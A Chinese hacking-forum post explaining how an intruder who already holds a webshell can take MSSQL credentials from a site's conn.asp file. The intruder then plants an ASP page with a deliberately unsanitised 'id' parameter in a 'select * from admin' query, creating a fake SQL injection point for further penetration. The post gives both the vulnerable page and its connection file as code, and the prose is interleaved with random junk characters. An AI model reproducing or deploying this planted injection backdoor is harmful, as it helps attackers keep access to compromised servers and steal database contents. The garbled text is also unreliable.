自己构造注入点方便入侵
7 q1 |0 I: N0 z
2 ^- W5 g! I, r5 z) A$ E5 V0 a" [& P今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
& }9 m+ g/ m! ^ x2 C# i8 J1 `! v
" O+ j& \: |- i/ {: E# b+ R6 q' K这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
: X) A5 i+ n9 W I3 R/ X; p7 `: ~7 _' Z \
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和1 _* l' n! t/ y% Q
+ J5 i3 ]# e4 P3 k+ w5 Y- T+ i密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
; t S3 F* N M/ U4 U
! d ^2 P* Z$ b; L, }' {- e9 C因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
3 f) G7 @6 s. f6 f
. [: p8 \5 K8 z! {程序代码1 Z, @2 U: k1 Q6 ^ M/ N) ]4 ]
<!--#include file="xx.asp"-->0 t! X7 P8 j$ A" s
<%
) k! J7 @5 s6 k2 ~* k4 k: N! Xset rs=server.createobject("ADODB.recordset")
) X: ]6 ^9 \6 `. Wid = request("id")
6 A4 v) ]8 \. |1 i# VstrSQL = "select * from admin where id=" & id( s6 L9 O! t) l
rs.open strSQL,conn,1,3
4 E+ V5 l$ G2 T D6 u9 `" D' krs.close5 u ~! P& t* Z! N b. i' T
%>% _3 Z+ U$ r9 M) I& D3 Q$ N
+ O2 Q! L# D( E( z6 P6 w5 R' L
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
, O- g) ~+ K2 Z+ E j3 K F) b6 i% d& P6 |6 C l$ T* Z
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!# Q3 G: I& y8 }+ q
: @! ^% f# t- E1 V然后就要构造一个连接数据库的文件了,代码如下:
4 ] A/ c# \5 ~1 e+ N程序代码. ^: S5 |# V/ \5 n; F7 G
<% ) T* s! h: u6 p- e
strSQLServerName = "000.000.000.000" '服务器名称或地址
) T' `( L" I4 P' d8 r+ q7 y8 l% GstrSQLDBUserName = "sqlname" '数据库帐号
1 n$ a$ |9 c( M! k' }strSQLDBPassword = "sqlpass" '数据库密码
5 L# {$ q( s4 XstrSQLDBName = "sqldataname" '数据库名称# i* }- S! x$ ]5 I% z+ n
Set conn = Server.CreateObject("ADODB.Connection")' h! T+ b4 ?( E" Q& f2 P
strCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
^* U# @& q4 P0 mconn.open strCon: E9 A" h: C/ F
%>2 j& |7 ~3 U9 h/ _- e+ @. x. U
# h0 B7 U& K8 _8 [
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,- z- _' i) X: y* Q3 F0 @# Y
3 X/ r* _4 ?; _6 \1 t1 `
就这样,正常情况下,就OK了,伪造成功……
. f6 y" r5 q8 ?) v- L7 I
9 ~$ v0 {' v6 \( h0 a' E 如果有什么问题可以提出来大家一起探讨解决。 |